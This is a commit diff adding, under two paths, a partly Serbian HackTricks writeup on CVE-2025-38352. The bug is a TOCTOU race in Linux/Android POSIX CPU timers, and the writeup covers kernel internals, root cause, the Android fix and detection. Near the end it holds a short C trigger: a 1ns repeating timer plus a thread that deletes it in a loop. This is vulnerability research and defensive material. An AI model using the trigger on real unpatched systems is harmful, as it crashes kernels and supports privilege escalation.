Translated ['src/binary-exploitation/linux-kernel-exploitation/posix-cpu

2025-10-10 18:36:50 +00:00 · 2025-09-30 00:44:10 +00:00 · 2025-09-30 00:44:10 +00:00 · 8fe12e097c
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 - [Post Exploitation](todo/post-exploitation.md)
 - [Investment Terms](todo/investment-terms.md)
 - [Cookies Policy](todo/cookies-policy.md)
+
+  - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
--- a/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
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+# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Ova stranica opisuje TOCTOU trku u Linux/Android POSIX CPU timers koja može korumpirati stanje timera i oboriti kernel, a u nekim slučajevima može dovesti do privilege escalation.
+
+- Pogođena komponenta: kernel/time/posix-cpu-timers.c
+- Primitiv: expiry vs deletion race pri izlasku taska
+- Osetljivo na konfiguraciju: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
+
+Kratak pregled internih mehanizama (relevantno za eksploataciju)
+- Tri CPU clocks upravljaju obračunom timera putem cpu_clock_sample():
+- CPUCLOCK_PROF: utime + stime
+- CPUCLOCK_VIRT: samo utime
+- CPUCLOCK_SCHED: task_sched_runtime()
+- Kreiranje timera povezuje timer sa task/pid i inicijalizuje timerqueue čvorove:
+```c
+static int posix_cpu_timer_create(struct k_itimer *new_timer) {
+struct pid *pid;
+rcu_read_lock();
+pid = pid_for_clock(new_timer->it_clock, false);
+if (!pid) { rcu_read_unlock(); return -EINVAL; }
+new_timer->kclock = &clock_posix_cpu;
+timerqueue_init(&new_timer->it.cpu.node);
+new_timer->it.cpu.pid = get_pid(pid);
+rcu_read_unlock();
+return 0;
+}
+```
+- Arming ubacuje u per-base timerqueue i može ažurirati next-expiry cache:
+```c
+static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
+struct posix_cputimer_base *base = timer_base(timer, p);
+struct cpu_timer *ctmr = &timer->it.cpu;
+u64 newexp = cpu_timer_getexpires(ctmr);
+if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
+if (newexp < base->nextevt) base->nextevt = newexp;
+}
+```
+- Brza putanja izbegava zahtevnu obradu osim ako keširani isteci ne ukazuju na moguće aktiviranje:
+```c
+static inline bool fastpath_timer_check(struct task_struct *tsk) {
+struct posix_cputimers *pct = &tsk->posix_cputimers;
+if (!expiry_cache_is_inactive(pct)) {
+u64 samples[CPUCLOCK_MAX];
+task_sample_cputime(tsk, samples);
+if (task_cputimers_expired(samples, pct))
+return true;
+}
+return false;
+}
+```
+- Isticanje prikuplja istekle tajmere, označava ih kao okinute, uklanja ih iz reda; stvarna isporuka se odlaže:
+```c
+#define MAX_COLLECTED 20
+static u64 collect_timerqueue(struct timerqueue_head *head,
+struct list_head *firing, u64 now) {
+struct timerqueue_node *next; int i = 0;
+while ((next = timerqueue_getnext(head))) {
+struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
+u64 expires = cpu_timer_getexpires(ctmr);
+if (++i == MAX_COLLECTED || now < expires) return expires;
+ctmr->firing = 1;                           // critical state
+rcu_assign_pointer(ctmr->handling, current);
+cpu_timer_dequeue(ctmr);
+list_add_tail(&ctmr->elist, firing);
+}
+return U64_MAX;
+}
+```
+Dva režima obrade isteka
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: istek se odlaže putem task_work na ciljnom zadatku
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: istek se obrađuje direktno u IRQ kontekstu
+```c
+void run_posix_cpu_timers(void) {
+struct task_struct *tsk = current;
+__run_posix_cpu_timers(tsk);
+}
+#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
+tsk->posix_cputimers_work.scheduled = true;
+task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
+}
+#else
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+lockdep_posixtimer_enter();
+handle_posix_cpu_timers(tsk);                  // IRQ-context path
+lockdep_posixtimer_exit();
+}
+#endif
+```
+U IRQ-context putanji, firing list se obrađuje izvan sighand
+```c
+static void handle_posix_cpu_timers(struct task_struct *tsk) {
+struct k_itimer *timer, *next; unsigned long flags, start;
+LIST_HEAD(firing);
+if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
+do {
+start = READ_ONCE(jiffies); barrier();
+check_thread_timers(tsk, &firing);
+check_process_timers(tsk, &firing);
+} while (!posix_cpu_timers_enable_work(tsk, start));
+unlock_task_sighand(tsk, &flags);              // race window opens here
+list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
+int cpu_firing;
+spin_lock(&timer->it_lock);
+list_del_init(&timer->it.cpu.elist);
+cpu_firing = timer->it.cpu.firing;         // read then reset
+timer->it.cpu.firing = 0;
+if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
+rcu_assign_pointer(timer->it.cpu.handling, NULL);
+spin_unlock(&timer->it_lock);
+}
+}
+```
+Root cause: TOCTOU između IRQ-time expiry i konkurentnog brisanja tokom izlaska task-a
+Preconditions
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
+- Ciljni task izlazi, ali proces izlaska još nije dovršen (nije u potpunosti reaped)
+- Drugi thread istovremeno poziva posix_cpu_timer_del() za isti timer
+
+Sequence
+1) update_process_times() pokreće run_posix_cpu_timers() u IRQ kontekstu za task koji izlazi.
+2) collect_timerqueue() postavlja ctmr->firing = 1 i premešta timer na privremenu firing listu.
+3) handle_posix_cpu_timers() otpusta sighand pomoću unlock_task_sighand() da bi isporučio timere van lock-a.
+4) Odmah nakon unlock-a, task koji izlazi može biti reaped; sibling thread izvršava posix_cpu_timer_del().
+5) U ovom prozoru, posix_cpu_timer_del() može da ne uspe da stekne state preko cpu_timer_task_rcu()/lock_task_sighand() i tako preskoči normalnu in-flight zaštitu koja proverava timer->it.cpu.firing. Brisanje se nastavlja kao da nije firing, korumpirajući stanje dok se expiry obrađuje, što dovodi do crash-eva/UB.
+
+Zašto je TASK_WORK mode bezbedan po dizajnu
+- Sa CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry je odložen na task_work; exit_task_work se izvršava pre exit_notify, tako da se IRQ-time preklapanje sa reaping-om ne dešava.
+- Čak i tada, ako task već izlazi, task_work_add() ne uspe; gating na exit_state čini oba moda konzistentnim.
+
+Fix (Android common kernel) and rationale
+- Dodati rani return ako current task izlazi, gatingujući svu obradu:
+```c
+// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
+if (tsk->exit_state)
+return;
+```
+- Ovo sprečava ulazak u handle_posix_cpu_timers() za izlazeće zadatke, eliminišući prozor u kojem posix_cpu_timer_del() može da propusti it.cpu.firing i race sa obradom isteka.
+
+Impact
+- Oštećenje kernel memorije struktura timer-a tokom istovremenog isteka/brisanja može dovesti do trenutnih padova (DoS) i predstavlja snažan primitiv za privilege escalation zbog mogućnosti proizvoljne manipulacije kernel-state.
+
+Triggering the bug (safe, reproducible conditions)
+Build/config
+- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
+
+Runtime strategy
+- Ciljajte nit koja je pred izlaskom i prikačite CPU timer na nju (per-thread or process-wide clock):
+- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- Postavite veoma kratak početni istekač i mali interval kako biste maksimizirali ulaske u IRQ-path:
+```c
+static timer_t t;
+static void setup_cpu_timer(void) {
+struct sigevent sev = {0};
+sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
+sev.sigev_signo = SIGUSR1;
+if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
+struct itimerspec its = {0};
+its.it_value.tv_nsec = 1;           // fire ASAP
+its.it_interval.tv_nsec = 1;        // re-fire
+if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
+}
+```
+- Iz srodne niti, istovremeno obrišite isti timer dok ciljana nit izlazi:
+```c
+void *deleter(void *arg) {
+for (;;) (void)timer_delete(t);     // hammer delete in a loop
+}
+```
+- Pojačivači race uslova: visok scheduler tick rate, CPU load, ponovljeni ciklusi izlaska i ponovnog kreiranja niti. Pad se obično manifestuje kada posix_cpu_timer_del() preskoči uočavanje firing zbog neuspešnog task lookup/locking odmah nakon unlock_task_sighand().
+
+Detection and hardening
+- Mitigacija: primeniti exit_state guard; po mogućnosti omogućiti CONFIG_POSIX_CPU_TIMERS_TASK_WORK kada je izvodljivo.
+- Observability: dodati tracepoints/WARN_ONCE oko unlock_task_sighand()/posix_cpu_timer_del(); alarmirati kada se it.cpu.firing==1 uoči zajedno sa neuspehom cpu_timer_task_rcu()/lock_task_sighand(); pratiti inconsistency-je u timerqueue oko izlaza task-a.
+
+Audit hotspots (for reviewers)
+- update_process_times() → run_posix_cpu_timers() (IRQ)
+- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
+- collect_timerqueue(): postavlja ctmr->firing i pomera čvorove
+- handle_posix_cpu_timers(): drops sighand pre firing petlje
+- posix_cpu_timer_del(): oslanja se na it.cpu.firing da detektuje in-flight expiry; ova provera se preskače kada task lookup/lock ne uspe tokom exit/reap
+
+Notes for exploitation research
+- Otkriveno ponašanje je pouzdan kernel crash primitive; pretvaranje toga u privilege escalation obično zahteva dodatni kontrolisani overlap (object lifetime ili write-what-where influence) izvan opsega ovog sažetka. Smatrajte svaki PoC potencijalno destabilizujućim i pokrećite ga samo u emulatorima/VMs.
+
+## References
+- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
+++ b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
@ -0,0 +1,196 @@
+# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Ova stranica dokumentuje TOCTOU race condition u Linux/Android POSIX CPU timerima koji može korumpirati stanje timera i srušiti kernel, a u određenim okolnostima može se iskoristiti za eskalaciju privilegija.
+
+- Pogođena komponenta: kernel/time/posix-cpu-timers.c
+- Primitiv: expiry vs deletion race under task exit
+- Osetljivo na konfiguraciju: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
+
+Kratak pregled unutrašnjih mehanizama (relevantno za eksploataciju)
+- Tri CPU clock-a vode obračun za timere preko cpu_clock_sample():
+- CPUCLOCK_PROF: utime + stime
+- CPUCLOCK_VIRT: samo utime
+- CPUCLOCK_SCHED: task_sched_runtime()
+- Kreiranje timera povezuje timer sa task/pid-om i inicijalizuje timerqueue čvorove:
+```c
+static int posix_cpu_timer_create(struct k_itimer *new_timer) {
+struct pid *pid;
+rcu_read_lock();
+pid = pid_for_clock(new_timer->it_clock, false);
+if (!pid) { rcu_read_unlock(); return -EINVAL; }
+new_timer->kclock = &clock_posix_cpu;
+timerqueue_init(&new_timer->it.cpu.node);
+new_timer->it.cpu.pid = get_pid(pid);
+rcu_read_unlock();
+return 0;
+}
+```
+- Arming umeće u per-base timerqueue i može ažurirati keš sledećeg isteka:
+```c
+static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
+struct posix_cputimer_base *base = timer_base(timer, p);
+struct cpu_timer *ctmr = &timer->it.cpu;
+u64 newexp = cpu_timer_getexpires(ctmr);
+if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
+if (newexp < base->nextevt) base->nextevt = newexp;
+}
+```
+- Brza putanja izbegava skupe operacije osim ako keširani zapisi o isteku ne ukazuju na moguće okidanje:
+```c
+static inline bool fastpath_timer_check(struct task_struct *tsk) {
+struct posix_cputimers *pct = &tsk->posix_cputimers;
+if (!expiry_cache_is_inactive(pct)) {
+u64 samples[CPUCLOCK_MAX];
+task_sample_cputime(tsk, samples);
+if (task_cputimers_expired(samples, pct))
+return true;
+}
+return false;
+}
+```
+- Isticanje prikuplja istekle tajmere, označava ih kao okinute, sklanja ih sa reda; stvarna isporuka se odlaže:
+```c
+#define MAX_COLLECTED 20
+static u64 collect_timerqueue(struct timerqueue_head *head,
+struct list_head *firing, u64 now) {
+struct timerqueue_node *next; int i = 0;
+while ((next = timerqueue_getnext(head))) {
+struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
+u64 expires = cpu_timer_getexpires(ctmr);
+if (++i == MAX_COLLECTED || now < expires) return expires;
+ctmr->firing = 1;                           // critical state
+rcu_assign_pointer(ctmr->handling, current);
+cpu_timer_dequeue(ctmr);
+list_add_tail(&ctmr->elist, firing);
+}
+return U64_MAX;
+}
+```
+Dva režima obrade isteka
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: istek se odlaže putem task_work na ciljanom tasku
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: istek se obrađuje direktno u IRQ kontekstu
+```c
+void run_posix_cpu_timers(void) {
+struct task_struct *tsk = current;
+__run_posix_cpu_timers(tsk);
+}
+#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
+tsk->posix_cputimers_work.scheduled = true;
+task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
+}
+#else
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+lockdep_posixtimer_enter();
+handle_posix_cpu_timers(tsk);                  // IRQ-context path
+lockdep_posixtimer_exit();
+}
+#endif
+```
+Na IRQ-context putanji, firing list se obrađuje izvan sighand
+```c
+static void handle_posix_cpu_timers(struct task_struct *tsk) {
+struct k_itimer *timer, *next; unsigned long flags, start;
+LIST_HEAD(firing);
+if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
+do {
+start = READ_ONCE(jiffies); barrier();
+check_thread_timers(tsk, &firing);
+check_process_timers(tsk, &firing);
+} while (!posix_cpu_timers_enable_work(tsk, start));
+unlock_task_sighand(tsk, &flags);              // race window opens here
+list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
+int cpu_firing;
+spin_lock(&timer->it_lock);
+list_del_init(&timer->it.cpu.elist);
+cpu_firing = timer->it.cpu.firing;         // read then reset
+timer->it.cpu.firing = 0;
+if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
+rcu_assign_pointer(timer->it.cpu.handling, NULL);
+spin_unlock(&timer->it_lock);
+}
+}
+```
+Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
+
+Preconditions
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
+- The target task is exiting but not fully reaped
+- Another thread concurrently calls posix_cpu_timer_del() for the same timer
+
+Sequence
+1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
+2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
+3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
+4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
+5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
+
+Why TASK_WORK mode is safe by design
+- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
+- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
+
+Fix (Android common kernel) and rationale
+- Add an early return if current task is exiting, gating all processing:
+```c
+// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
+if (tsk->exit_state)
+return;
+```
+- Ovo sprečava ulazak u handle_posix_cpu_timers() za zadatke koji su u procesu izlaska, eliminišući prozor u kome posix_cpu_timer_del() može da propusti it.cpu.firing i da se trka sa obradom isteka.
+
+Uticaj
+- Oštećenje kernel memorije u strukturama timera tokom istovremenog isteka/brisanja može dovesti do trenutnih padova (DoS) i predstavlja snažan primitiv za eskalaciju privilegija zbog mogućnosti proizvoljne manipulacije stanjem kernela.
+
+Pokretanje buga (bezbedni, ponovljivi uslovi)
+Build/config
+- Obezbedite CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n i koristite kernel bez fix-a za exit_state gating.
+
+Strategija izvršavanja (runtime)
+- Ciljajte nit koja je na izlasku i pridružite joj CPU timer (po niti ili za ceo proces):
+- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- Podesite veoma kratko početno isteknuće i mali interval kako biste maksimalizovali ulaze u IRQ-putanju:
+```c
+static timer_t t;
+static void setup_cpu_timer(void) {
+struct sigevent sev = {0};
+sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
+sev.sigev_signo = SIGUSR1;
+if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
+struct itimerspec its = {0};
+its.it_value.tv_nsec = 1;           // fire ASAP
+its.it_interval.tv_nsec = 1;        // re-fire
+if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
+}
+```
+- Iz srodnog thread-a, istovremeno obrišite isti timer dok ciljni thread izlazi:
+```c
+void *deleter(void *arg) {
+for (;;) (void)timer_delete(t);     // hammer delete in a loop
+}
+```
+- Pojačivači trke: visok scheduler tick rate, CPU opterećenje, ponovljeni ciklusi izlaska/ponovnog kreiranja thread-ova. Crash se obično manifestuje kada posix_cpu_timer_del() preskoči uočavanje firing-a zbog neuspeha pri task lookup/locking odmah nakon unlock_task_sighand().
+
+Detection and hardening
+- Mitigation: primeniti exit_state guard; po mogućstvu omogućiti CONFIG_POSIX_CPU_TIMERS_TASK_WORK.
+- Observability: dodati tracepoints/WARN_ONCE oko unlock_task_sighand()/posix_cpu_timer_del(); alarmirati kada se it.cpu.firing==1 uoči zajedno sa neuspehom cpu_timer_task_rcu()/lock_task_sighand(); pratiti neusaglašenosti u timerqueue oko izlaska task-a.
+
+Audit hotspots (for reviewers)
+- update_process_times() → run_posix_cpu_timers() (IRQ)
+- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
+- collect_timerqueue(): sets ctmr->firing and moves nodes
+- handle_posix_cpu_timers(): drops sighand before firing loop
+- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
+
+Notes for exploitation research
+- Objavljeno ponašanje predstavlja pouzdan kernel crash primitive; da bi se to pretvorilo u privilege escalation obično je potreban dodatni kontrolisani overlap (object lifetime ili write-what-where uticaj) izvan opsega ovog sažetka. Smatrajte svaki PoC potencijalno destabilizujućim i pokrećite ga samo u emulatorima/VMs.
+
+## References
+- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+
+{{#include ../../../banners/hacktricks-training.md}}